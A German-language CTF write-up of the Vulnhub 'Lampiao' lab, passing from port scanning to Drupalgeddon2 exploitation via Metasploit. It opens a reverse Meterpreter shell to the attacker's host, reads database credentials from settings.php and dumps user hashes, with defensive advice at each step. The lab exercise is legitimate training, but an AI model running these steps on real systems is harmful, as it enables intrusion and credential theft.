Lampiao - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
Web Browser
gobuster
wget
exiftool
searchsploit
Metasploit (msfconsole)
find
cat
mysql client
uname
nano
gcc

Inhaltsverzeichnis

Reconnaissance

**Analyse:** Die initiale Aufklärungsphase dient der Identifizierung des Zielsystems im lokalen Netzwerk und der Erkundung offener Ports und Dienste mittels Netzwerkscans.

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.116	08:00:27:c1:e1:5c	PCS Systemtechnik GmbH
                    

**Analyse:** `arp-scan -l` wird eingesetzt, um Hosts im lokalen Netzwerksegment zu finden. Das Zielsystem wird unter der IP `192.168.2.116` identifiziert. Die MAC-Adresse `08:00:27:c1:e1:5c` (PCS Systemtechnik GmbH) deutet auf eine VirtualBox-VM hin.

**Bewertung:** Erfolgreiche Identifizierung des Ziels. Die MAC-Adresse liefert Kontext zur Umgebung.

**Empfehlung (Pentester):** IP `192.168.2.116` für weitere Scans nutzen.
**Empfehlung (Admin):** Netzwerksegmentierung und ARP-Monitoring einsetzen.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
    192.168.2.116   dina.vln
                    

**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um der IP `192.168.2.116` den Hostnamen `dina.vln` zuzuordnen. (Hinweis: Spätere Scans verwenden `lampiano.vln`, was auf eine Inkonsistenz oder einen Tippfehler im Log hindeutet. Der Bericht wird `lampiano.vln` folgen, da dies im `nmap`-Scan verwendet wird).

**Bewertung:** Standardvorgehen, um das Ziel über einen Hostnamen ansprechen zu können, was für Webanwendungen wichtig sein kann.

**Empfehlung (Pentester):** Hostnamen in Webtests verwenden. Konsistenz des Hostnamens sicherstellen.
**Empfehlung (Admin):** Clientseitige Angreiferkonfiguration.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.116 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-13 15:12 CEST
Nmap scan report for lampiano.vln (192.168.2.116)
Host is up (0.00016s latency).
Not shown: 65532 closed tcp ports (reset)
PRT     STATE SERVICE VERSIN
22/tcp   open  ssh     penSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 46b199607d81693cae1fc7ffc366e310 (DSA)
|   2048 f3e888f22dd0b2540b9cad6133595593 (RSA)
|   256 ce632af7536e46e2ae81e3ffb716f452 (ECDSA)
|_  256 c655ca073765e306c1d65b77dc23dfcc (ED25519)
80/tcp   open  http?
1898/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Lampi\xC3\xA3o
MAC Address: 08:00:27:C1:E1:5C (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.16 ms lampiano.vln (192.168.2.116)
                    

**Analyse:** Ein umfassender `nmap`-Scan (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-p-`) wird auf das Ziel `lampiano.vln` (192.168.2.116) durchgeführt. Wichtige Ergebnisse: * **Port 22 (SSH):** OpenSSH 6.6.1p1 (Ubuntu). Relativ alte Version. * **Port 80 (HTTP?):** Nmap kann den Dienst nicht eindeutig identifizieren (`http?`). * **Port 1898 (HTTP):** Apache 2.4.7 (Ubuntu). Identifiziert durch `http-generator` als **Drupal 7**. Die `robots.txt` listet viele typische Drupal-Pfade auf. Der Titel ist "Lampião". * Betriebssystem: Linux Kernel 3.x/4.x.

**Bewertung:** Die Angriffsfläche besteht aus SSH und zwei HTTP-Diensten. Port 80 ist unklar, während Port 1898 eindeutig eine Drupal 7-Installation hostet. Drupal 7 ist bekannt für schwerwiegende Schwachstellen (z.B. Drupalgeddon). Die Apache- (2.4.7) und OpenSSH-Versionen (6.6.1p1) sind veraltet. Der Fokus liegt klar auf dem Drupal-System auf Port 1898.

**Empfehlung (Pentester):** Den Drupal-Dienst auf Port 1898 intensiv untersuchen. Nach der genauen Drupal 7-Version suchen (z.B. in `CHANGELOG.txt`). Nach bekannten Drupal 7-Exploits recherchieren (insbesondere Drupalgeddon). Port 80 manuell prüfen, um dessen Funktion zu klären.
**Empfehlung (Admin):** Drupal dringend aktualisieren oder ersetzen. Apache und OpenSSH aktualisieren. Nicht benötigte Ports (wie ggf. Port 80) schließen.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.116 -p- | grep open
22/tcp   open  ssh     penSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http?
1898/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
                    

**Analyse:** Der gefilterte `nmap`-Scan bestätigt die drei offenen Ports: 22 (SSH), 80 (HTTP?), 1898 (HTTP).

**Bewertung:** Schnelle Bestätigung der offenen Ports.

**Empfehlung (Pentester):** Fokus auf Port 1898.
**Empfehlung (Admin):** Port-Management überprüfen.

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.116:1898
- Nikto v2.5.0
+ Target IP:          192.168.2.116
+ Target Hostname:    192.168.2.116
+ Target Port:        1898
+ Start Time:         2023-07-13 15:14:52 (GMT2)

+ Server: Apache/2.4.7 (Ubuntu)
+ /: Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.24.
+ /: Drupal 7 was identified via the x-generator header.
+ /xsHl2tMu.md: The X-Content-Type-ptions header is not set. # Hinweis: Pfad wirkt zufällig, evtl. Testdatei?
+ /scripts/: Directory indexing found.
+ /robots.txt: Entry '/?q=user/login/' is returned a non-forbidden or redirect HTTP code (200). # Viele solcher Einträge für Pfade aus robots.txt
+ /profiles/: Directory indexing found.
+ /misc/: Directory indexing found.
+ /modules/: Directory indexing found.
+ /themes/: Directory indexing found.
+ /includes/: Directory indexing found.
+ /robots.txt: contains 68 entries which should be manually viewed.
+ Apache/2.4.7 appears to be outdated.
+ /: DEBUG HTTP verb may show server debugging information. # Potential Information Leak
+ /web.config: ASP config file is accessible. # False Positive, da Apache/PHP/Drupal
+ /install.php: Drupal install.php file found.
+ /LICENSE.txt: License file found may identify site software.
+ /xmlrpc.php: xmlrpc.php was found.
+ /INSTALL.mysql.txt, /INSTALL.pgsql.txt: Drupal installation file found.
+ /icons/README: Apache default file found.
+ /sites/: Directory indexing found.
+ 8978 requests: 0 error(s) and 43 item(s) reported on remote host
+ End Time:           2023-07-13 15:16:30 (GMT2) (98 seconds)

+ 1 host(s) tested
                    

**Analyse:** `nikto` wird spezifisch gegen den Drupal-Dienst auf Port 1898 ausgeführt. Wichtige Funde: * Bestätigt Apache 2.4.7 und identifiziert PHP 5.5.9. * Bestätigt Drupal 7. * Fehlender `X-Content-Type-Options`-Header (bei einer spezifischen .md-Datei). * Directory Indexing in vielen Drupal-Standardverzeichnissen (`/scripts/`, `/profiles/`, `/misc/`, `/modules/`, `/themes/`, `/includes/`, `/sites/`). * Bestätigt, dass viele in `robots.txt` gesperrte Pfade zugänglich sind. * Meldet veralteten Apache. * Meldet potenziell aktive DEBUG-Methode. * Findet diverse Standard-Drupal-Dateien (`install.php`, `LICENSE.txt`, `xmlrpc.php`, Installationsanleitungen).

**Bewertung:** `nikto` liefert eine Fülle von Details über die Drupal-Installation und den Server. Das Directory Indexing in so vielen Kernverzeichnissen ist ein erhebliches Informationsleck und eine schwere Fehlkonfiguration. Die Zugänglichkeit von `install.php` und `xmlrpc.php` bietet potenzielle Angriffsvektoren. Die veralteten Versionen von Apache und PHP erhöhen das Risiko. Der `DEBUG`-Verb könnte zusätzliche Informationen liefern.

**Empfehlung (Pentester):** Die indexierten Verzeichnisse untersuchen. `install.php` aufrufen, um zu sehen, ob eine Neuinstallation möglich ist. `xmlrpc.php` auf bekannte Schwachstellen prüfen. Die `DEBUG`-Methode testen (z.B. mit `curl -X DEBUG`). Die genaue Drupal-Version aus `CHANGELOG.txt` ermitteln (siehe `robots.txt` Fund).
**Empfehlung (Admin):** Directory Indexing dringend deaktivieren (`Options -Indexes`). Zugriff auf `install.php` nach der Installation sperren. `xmlrpc.php` deaktivieren, wenn nicht benötigt. Apache und PHP aktualisieren. DEBUG-Methode deaktivieren. Fehlende Sicherheitsheader ergänzen. `robots.txt` und Serverkonfiguration synchronisieren.

Web Enumeration (Drupal)

**Analyse:** Weitere Untersuchung der Webanwendung auf Port 80 (unklarer Dienst) und Port 1898 (Drupal 7). Fokus auf Dateifunde und die Suche nach der Drupal-Version.

# Manuelle Untersuchung von Port 80 (view-source:http://192.168.2.116/)
 _____ _   _    
|_   _| | ( )                                                     
  | | | |_|/ ___    ___  __ _ ___ _   _                           
  | | | __| / __|  / _ \/ _` / __| | | |                          
 _| |_| |_  \__ \ |  __/ (_| \__ \ |_| |_                         
 \___/ \__| |___/  \___|\__,_|___/\__, ( )                        
                                   __/ |/                         
                                  |___/                           
______ _       _                                                _ 
|  ___(_)     | |                                              | |
| |_   _    __| |_   _ _ __ ___   __ _    ___  __ _ _   _  __ _| |
|  _| | |  / _` | | | | '_ ` _ \ / _` |  / _ \/ _` | | | |/ _` | |
| |   | | | (_| | |_| | | | | | | (_| | |  __/ (_| | |_| | (_| |_|
\_|   |_|  \__,_|\__,_|_| |_| |_|\__,_|  \___|\__, |\__,_|\__,_(_)
                                               __/ |              
                                              |___/               
# ... (weitere ASCII-Art) ...
                    

**Analyse:** Der Quellcode der Seite auf Port 80 enthält nur große ASCII-Art-Schriftzüge ("LAMP" und "IAO").

**Bewertung:** Port 80 scheint keine funktionale Webanwendung zu hosten, sondern nur eine statische Seite mit dem Namen der VM ("Lampiao") in ASCII-Art darzustellen. Dies ist wahrscheinlich irrelevant für den weiteren Angriff.

**Empfehlung (Pentester):** Port 80 ignorieren und sich auf Port 1898 konzentrieren.
**Empfehlung (Admin):** Port 80 schließen, wenn er nicht benötigt wird.

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://lampiano.vln:1898 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://lampiano.vln:1898/index.php            (Status: 200) [Size: 11400]
http://lampiano.vln:1898/misc                 (Status: 301) [Size: 317] [--> http://lampiano.vln:1898/misc/]
http://lampiano.vln:1898/themes               (Status: 301) [Size: 319] [--> http://lampiano.vln:1898/themes/]
http://lampiano.vln:1898/modules              (Status: 301) [Size: 320] [--> http://lampiano.vln:1898/modules/]
http://lampiano.vln:1898/scripts              (Status: 301) [Size: 320] [--> http://lampiano.vln:1898/scripts/]
http://lampiano.vln:1898/sites                (Status: 301) [Size: 318] [--> http://lampiano.vln:1898/sites/]
http://lampiano.vln:1898/includes             (Status: 301) [Size: 321] [--> http://lampiano.vln:1898/includes/]
http://lampiano.vln:1898/profiles             (Status: 301) [Size: 321] [--> http://lampiano.vln:1898/profiles/]
http://lampiano.vln:1898/install.php          (Status: 200) [Size: 3257]
http://lampiano.vln:1898/README.txt           (Status: 200) [Size: 5382]
http://lampiano.vln:1898/robots.txt           (Status: 200) [Size: 2189]
http://lampiano.vln:1898/INSTALL.txt          (Status: 200) [Size: 17995]
http://lampiano.vln:1898/LICENSE.txt          (Status: 200) [Size: 18092]
http://lampiano.vln:1898/CHANGELOG.txt        (Status: 200) [Size: 110781]
http://lampiano.vln:1898/xmlrpc.php           (Status: 200) [Size: 42]
http://lampiano.vln:1898/COPYRIGHT.txt        (Status: 200) [Size: 1481]
http://lampiano.vln:1898/UPGRADE.txt          (Status: 200) [Size: 10123]
                    

**Analyse:** `gobuster` wird spezifisch gegen Port 1898 ausgeführt, um Dateien und Verzeichnisse zu finden. Es bestätigt viele der bereits durch `nmap` und `nikto` gefundenen Drupal-Standardpfade und -dateien, darunter `index.php`, diverse Verzeichnisse (`misc`, `themes`, `modules` etc.), `install.php`, `README.txt`, `robots.txt`, `CHANGELOG.txt`, `xmlrpc.php` und weitere Textdateien.

**Bewertung:** Der Scan bestätigt die Drupal-Struktur und liefert erneut den wichtigen Hinweis auf `CHANGELOG.txt`, das die genaue Version enthalten sollte. `install.php` und `xmlrpc.php` bleiben interessante Punkte.

**Empfehlung (Pentester):** Die Datei `CHANGELOG.txt` herunterladen und analysieren, um die exakte Drupal-Version zu bestimmen. `install.php` und `xmlrpc.php` prüfen.
**Empfehlung (Admin):** Unnötige Dateien entfernen, Zugriff auf Installationsskripte sperren.

**Analyse:** Manuelle Untersuchung der Webseite auf Port 1898 führt zur Entdeckung eines Artikels und eines eingebetteten MP3-Links.

# Fund auf der Webseite http://192.168.2.116:1898/
# Link zu MP3: http://192.168.2.116:1898/LuizGonzaga-LampiaoFalou.mp3

# Artikelinhalt (Auszug)
 First article...
Submitted by Eder on Fri, 04/20/2018 - 13:55
Just testing..
LuizGonzaga-LampiaoFalou.mp3
Node 2 is not working :(
                    

**Bewertung:** Die Webseite enthält einen Artikel von einem Benutzer "Eder" mit einem Link zu einer MP3-Datei. Der Hinweis "Node 2 is not working :(" ist kryptisch und könnte irrelevant sein oder auf ein technisches Detail hindeuten. Die MP3-Datei könnte, wie zuvor bei Bildern, auf Steganographie untersucht werden.

**Empfehlung (Pentester):** Die MP3-Datei herunterladen und auf versteckte Daten analysieren.
**Empfehlung (Admin):** Inhalte auf der Webseite regelmäßig prüfen.

┌──(root㉿cycat)-[~] └─# wget http://192.168.2.116:1898/LuizGonzaga-LampiaoFalou.mp3
--2023-07-13 15:17:01--  http://192.168.2.116:1898/LuizGonzaga-LampiaoFalou.mp3
Verbindungsaufbau zu 192.168.2.116:1898 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 3427612 (3,3M) [audio/mpeg]
Wird in LuizGonzaga-LampiaoFalou.mp3 gespeichert.

LuizGonzaga-LampiaoFalo 100%[===================>]   3,27M  4,35MB/s    in 0,8s

2023-07-13 15:17:02 (4,35 MB/s) - LuizGonzaga-LampiaoFalou.mp3 gespeichert [3427612/3427612]
                    

**Analyse:** Die MP3-Datei wird erfolgreich mit `wget` heruntergeladen.

**Bewertung:** Download abgeschlossen, bereit zur Analyse.

**Empfehlung (Pentester):** Datei mit `exiftool`, `steghide`, `binwalk` etc. untersuchen.
**Empfehlung (Admin):** Keine direkte Aktion.

┌──(root㉿cycat)-[~] └─# exiftool LuizGonzaga-LampiaoFalou.mp3
ExifTool Version Number         : 12.63
File Name                       : LuizGonzaga-LampiaoFalou.mp3
Directory                       : .
File Size                       : 3.4 MB
File Modification Date/Time     : 2018:04:20 19:20:38+02:00
# ... (weitere Standard-Metadaten) ...
User Defined Text               : (compatible_brands) isommp42
Encoder Settings                : Lavf57.19.100
Duration                        : 0:02:23 (approx)
                    

**Analyse:** `exiftool` wird verwendet, um die Metadaten der heruntergeladenen MP3-Datei anzuzeigen.

**Bewertung:** Die angezeigten Metadaten sind Standard für eine MP3-Datei und enthalten keine offensichtlichen Hinweise oder versteckten Informationen. Die Steganographie-Spur scheint (zumindest mit `exiftool`) nicht ergiebig zu sein.

**Empfehlung (Pentester):** Andere Steganographie-Tools testen oder diesen Pfad vorerst verlassen und sich auf Drupal konzentrieren.
**Empfehlung (Admin):** Keine Aktion.

**Analyse:** Der Inhalt der Datei `http://lampiano.vln:1898/CHANGELOG.txt` wird untersucht (impliziert, da die Version im nächsten Schritt bekannt ist).

# Inhalt von http://lampiano.vln:1898/CHANGELOG.txt (Auszug)
Drupal 7.54, 2017-02-01
                    

**Bewertung:** Kritischer Fund! Die genaue Version ist Drupal **7.54**. Diese Version ist bekanntlich anfällig für die schwerwiegende Remote Code Execution Schwachstelle **Drupalgeddon2** (CVE-2018-7600).

**Empfehlung (Pentester):** Gezielt nach Exploits für Drupalgeddon2 (CVE-2018-7600) suchen und diesen zur Erlangung des initialen Zugriffs verwenden.
**Empfehlung (Admin):** Drupal *sofort* auf eine gepatchte Version aktualisieren!

┌──(root㉿cycat)-[~] └─# searchsploit drupal
# ... (Liste von Drupal Exploits) ...
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User)                                | php/webapps/34992.py
Drupal < 7.58 - 'Drupalgeddon2' Remote Code Execution                                           | php/webapps/44449.rb # Metasploit Modul
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)                     | php/webapps/44542.txt
# ... (weitere Exploits) ...
                    

**Analyse:** `searchsploit` wird verwendet, um die lokale Exploit-DB nach Drupal-Exploits zu durchsuchen. Es werden mehrere Exploits gefunden, darunter ein Metasploit-Modul für Drupalgeddon2 (`44449.rb`), das auf Versionen < 7.58 abzielt.

**Bewertung:** Bestätigt die Verfügbarkeit eines passenden Exploits für die identifizierte Drupal-Version (7.54) und Schwachstelle (Drupalgeddon2) im Metasploit Framework.

**Empfehlung (Pentester):** Das Metasploit-Modul `exploit/unix/webapp/drupal_drupalgeddon2` verwenden.
**Empfehlung (Admin):** Patchen!

Initial Access (Drupalgeddon2)

**Analyse:** Ausnutzung der Drupalgeddon2-Schwachstelle (CVE-2018-7600) mithilfe des entsprechenden Metasploit-Moduls, um initialen Zugriff auf das System zu erlangen.

msf6 > search drupal
Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   1  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
   2  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
# ... (weitere Module) ...
   7  exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution
                    
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > options
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   # ...
   RHOSTS                        yes       The target host(s)...
   RPORT        80               yes       The target port (TCP)
   TARGETURI    /                yes       Path to Drupal install
# ...
Payload options (php/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.105    yes       The listen address...
   LPORT  4444             yes       The listen port...
# ...
                    
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHST 192.168.2.105
LHST => 192.168.2.105
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.2.116
RHOSTS => 192.168.2.116
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RPORT 1898
RPORT => 1898
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 192.168.2.105:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending stage (39927 bytes) to 192.168.2.116
[*] Meterpreter session 1 opened (192.168.2.105:4444 -> 192.168.2.116:53760) at 2023-07-13 15:36:28 +0200
                    
meterpreter > getuid
Server username: www-data

**Analyse:** Das Metasploit-Framework wird gestartet. Der Exploit für Drupalgeddon2 (`exploit/unix/webapp/drupal_drupalgeddon2`) wird ausgewählt. Die notwendigen Optionen werden gesetzt: * `LHOST`: IP-Adresse des Angreifersystems (für die Reverse Shell). * `RHOSTS`: IP-Adresse des Ziels (192.168.2.116). * `RPORT`: Der Port, auf dem Drupal läuft (1898). Der Exploit wird mit `run` gestartet. Metasploit prüft die Verwundbarkeit (`[+] The target is vulnerable.`), sendet den Payload (standardmäßig `php/meterpreter/reverse_tcp`) und meldet erfolgreich eine geöffnete Meterpreter-Sitzung (Session 1). Der Befehl `getuid` innerhalb der Meterpreter-Sitzung bestätigt, dass die Shell als Benutzer `www-data` läuft.

**Bewertung:** Sehr gut! Der Drupalgeddon2-Exploit war erfolgreich und hat direkten Zugriff als Webserver-Benutzer `www-data` über eine Meterpreter-Sitzung ermöglicht. Dies ist ein stabiler Ausgangspunkt für die nächste Phase.

**Empfehlung (Pentester):** Die Meterpreter-Sitzung nutzen, um das System weiter zu enumerieren und nach Wegen zur Rechteausweitung zu suchen (SUID-Dateien, Kernel-Exploits, Cronjobs, Konfigurationsfehler).
**Empfehlung (Admin):** Drupal *dringend* patchen oder durch eine aktuelle, sichere Version ersetzen. Web Application Firewall (WAF) kann solche Angriffe erkennen und blockieren.

Privilege Escalation (User - www-data)

**Analyse:** Nach Erhalt der Meterpreter-Shell als `www-data` wird das System auf Schwachstellen zur Rechteausweitung untersucht.

www-data@lampiao:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
# Gekürzte Ausgabe, interessante/Standard SUIDs
   262216   40 -rwsr-xr-x   1 root     root        38932 May  7  2014 /bin/ping
   262217   44 -rwsr-xr-x   1 root     root        43316 May  7  2014 /bin/ping6
   262397   32 -rwsr-xr-x   1 root     root        30112 May 15  2015 /bin/fusermount
   262203   88 -rwsr-xr-x   1 root     root        88752 Sep  2  2015 /bin/mount
   262236   36 -rwsr-xr-x   1 root     root        35300 Jan 26  2016 /bin/su
   262244   68 -rwsr-xr-x   1 root     root        67704 Sep  2  2015 /bin/umount
   # ... (chsh, passwd, sudo, traceroute6, chfn, newgrp, at) ...
   669742   20 -rwsr-xr-x   1 root     root        18168 Nov 24  2015 /usr/bin/pkexec
   # ... (mtr, gpasswd, eject, policykit, dbus, openssh, pppd, uuidd) ...
                    

**Analyse:** Die Suche nach SUID-Dateien wird durchgeführt. Die Liste enthält viele Standard-Binaries. `pkexec` ist vorhanden, aber mit Datum November 2015, was es unwahrscheinlich macht, dass es für Pwnkit (CVE-2021-4034) anfällig ist. `sudo` ist ebenfalls vorhanden (August 2015).

**Bewertung:** Pwnkit scheint hier kein gangbarer Weg zu sein. `sudo` müsste mit `sudo -l` geprüft werden (geringe Erfolgsaussicht für `www-data`). Andere SUID-Binaries wie `pppd` oder `mtr` könnten theoretisch ausnutzbar sein, sind aber oft komplexer. Die Suche nach Kernel-Exploits oder Konfigurationsfehlern ist nun wichtiger.

**Empfehlung (Pentester):** Kernel-Version prüfen (`uname -a`). `sudo -l` ausführen. Nach bekannten Exploits für die Kernel-Version suchen. Cronjobs und Konfigurationsdateien (insbesondere Drupal-spezifische wie `settings.php`) untersuchen.
**Empfehlung (Admin):** SUID-Binaries minimieren. Systeme aktuell halten.

msf6 post(multi/manage/shell_to_meterpreter) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > options
# ... (Optionen, SESSION benötigt) ...
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.116 - Collecting local exploits for x86/linux...
[*] 192.168.2.116 - 186 exploit checks are being tried...
[+] 192.168.2.116 - exploit/linux/local/apport_abrt_chroot_priv_esc: The target appears to be vulnerable.
[+] 192.168.2.116 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[+] 192.168.2.116 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] Running check method for exploit 58 / 58
[*] 192.168.2.116 - Valid modules for session 1:

 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/apport_abrt_chroot_priv_esc                    Yes                      The target appears to be vulnerable.
 2   exploit/linux/local/pkexec                                         Yes                      The service is running, but could not be validated.
 3   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.
                    

**Analyse:** Der `local_exploit_suggester` wird auf die Meterpreter-Sitzung (angenommen Session 1) angewendet. Er findet keine Bestätigung für Pwnkit ("could not be validated"), was zur alten Version passt. Er schlägt jedoch `exploit/linux/local/apport_abrt_chroot_priv_esc` als potenziell verwundbar vor.

**Bewertung:** Der Suggester liefert einen neuen potenziellen Vektor über Apport/ABRT. Dies ist eine bekannte Schwachstelle in älteren Ubuntu-Versionen. Pwnkit wird (korrekterweise) nicht als sicher verwundbar eingestuft.

**Empfehlung (Pentester):** Den `apport_abrt`-Exploit recherchieren und ggf. ausprobieren. Alternativ die manuelle Enumeration fortsetzen (Kernel, Konfigurationsdateien).
**Empfehlung (Admin):** Apport/ABRT patchen oder deaktivieren, wenn nicht benötigt. System aktuell halten.

www-data@lampiao/html$ cat sites/default/settings.php
# ... (PHP Kommentare und Code) ...

   247	$databases = array (
   248	  'default' =>
   249	  array (
   250	    'default' =>
   251	    array (
   252	      'database' => 'drupal',
   253	      'username' => 'drupaluser',
   254	      'password' => 'Virgulino',
   255	      'host' => 'localhost',
   256	      'port' => '',
   257	      'driver' => 'mysql',
   258	      'prefix' => '',
   259	    ),
   260	  ),
   261	);

# ... (Rest der Datei) ...
                     

**Analyse:** Die Drupal-Konfigurationsdatei `sites/default/settings.php` wird ausgelesen. Sie enthält die Zugangsdaten für die MySQL-Datenbank: Benutzer `drupaluser` mit Passwort `Virgulino`.

**Bewertung:** Fund der Datenbank-Credentials. Dies ermöglicht den Zugriff auf die Drupal-Datenbank und das Passwort `Virgulino` könnte für Systembenutzer wiederverwendet worden sein.

**Empfehlung (Pentester):** Mit den Credentials auf die lokale MySQL-Datenbank zugreifen. Das Passwort `Virgulino` für SSH oder `su` für Benutzer wie `tiago` oder `Eder` (aus der späteren DB-Abfrage) testen.
**Empfehlung (Admin):** Datenbank-Credentials nicht im Klartext speichern. Dateiberechtigungen für `settings.php` restriktiv setzen (nur für Webserver-Benutzer lesbar). Passwort-Wiederverwendung vermeiden.

www-data@lampiao/html$ mysql -u drupaluser -p
Enter password: Virgulino # Eingabe nicht sichtbar
Welcome to the MySQL monitor. ...
Server version: 5.5.50-0ubuntu0.14.04.1 (Ubuntu)
...
mysql> use drupal;
Database changed
mysql> select * from users;
+-----+-------------------+---------------------------------------------------------+----------------------------+---------+-----------+------------------+------------+------------+------------+----------+-------------------+----------+---------+----------------------------+--------------------------+
| uid | name              | pass                                                    | mail                       | theme   | signature | signature_format | created    | access     | login      | status | timezone          | language | picture | init                       | data                     |
+-----+-------------------+---------------------------------------------------------+----------------------------+---------+-----------+------------------+------------+------------+------------+----------+-------------------+----------+---------+----------------------------+--------------------------+
|   0 |                   |                                                         |                            |         |           | NULL             |          0 |          0 |          0 |      0 | NULL              |          |       0 |                            | NULL                     |
|   1 | tiago             | $S$DNZ5o1k/NY7SUgtJvjPqNl40kHKwn4yXy2eroEnAlpmT0TJ9Sx8. | lampiao@lampiao.com        |         |           | filtered_html    | 1524166911 | 1524245647 | 1524245267 |      1 | America/Sao_Paulo |          |       0 | lampiao@lampiao.com        | a:1:{s:7:"overlay";i:1;} |
|   2 | Eder              | $S$Dv5orvhi7okjmViImnVPmVgfwJ2U..PNK4E9IT/k7Lqz9GZRb7tY | eder@lampiao.com           |         |           | filtered_html    | 1524241965 | 1524244079 | 1524244079 |      1 | America/Sao_Paulo |          |       0 | eder@lampiao.com           | b:0;                     |
|   3 | benniderhacker    | $S$DB4HHaLbdart/jrFV2CfvDswIgfIVBHWsKlChVWzxJ73PElAv2cW | benni@hacker.eu            |         |           | filtered_html    | 1689254578 |          0 |          0 |      0 | America/Sao_Paulo |          |       0 | benni@hacker.eu            | NULL                     |
|   4 | benniderhacker2 | $S$DiG0SkB6bv/7tYI5Bi93nvqmxqgHm9f9xfdceh2y5yldCoZ6JgbR | bandit1908bandit@gmail.com |         |           | filtered_html    | 1689254621 |          0 |          0 |      0 | America/Sao_Paulo |          |       0 | bandit1908bandit@gmail.com | NULL                     |
+-----+-------------------+---------------------------------------------------------+----------------------------+---------+-----------+------------------+------------+------------+------------+----------+-------------------+----------+---------+----------------------------+--------------------------+
5 rows in set (0.00 sec)
                    

**Analyse:** Erfolgreicher Login in die MySQL-Datenbank als `drupaluser` mit dem Passwort `Virgulino`. Die Tabelle `users` der `drupal`-Datenbank wird ausgelesen. Sie enthält die Drupal-Benutzer `tiago` und `Eder` sowie zwei Testbenutzer (`benniderhacker`). Die Passwörter sind als Drupal-7-Hashes (`$S$...`) gespeichert.

**Bewertung:** Der Datenbankzugriff liefert die Benutzernamen `tiago` und `Eder`. Die Hashes sind für einen direkten Angriff wahrscheinlich zu aufwändig zu knacken. Die wichtigste Information bleibt das Passwort `Virgulino` selbst, das nun für Systemkonten getestet werden sollte.

**Empfehlung (Pentester):** Das Passwort `Virgulino` für `su tiago` oder `su Eder` oder SSH-Logins testen. Kernel-Exploit als Alternative weiterverfolgen.
**Empfehlung (Admin):** Sichere Passwort-Hashes verwenden (obwohl Drupal 7 hier limitiert ist). Datenbankzugriff protokollieren. Passwort-Wiederverwendung vermeiden.

www-data@lampiao/html$ uname -a
Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 athlon i686 GNU/Linux

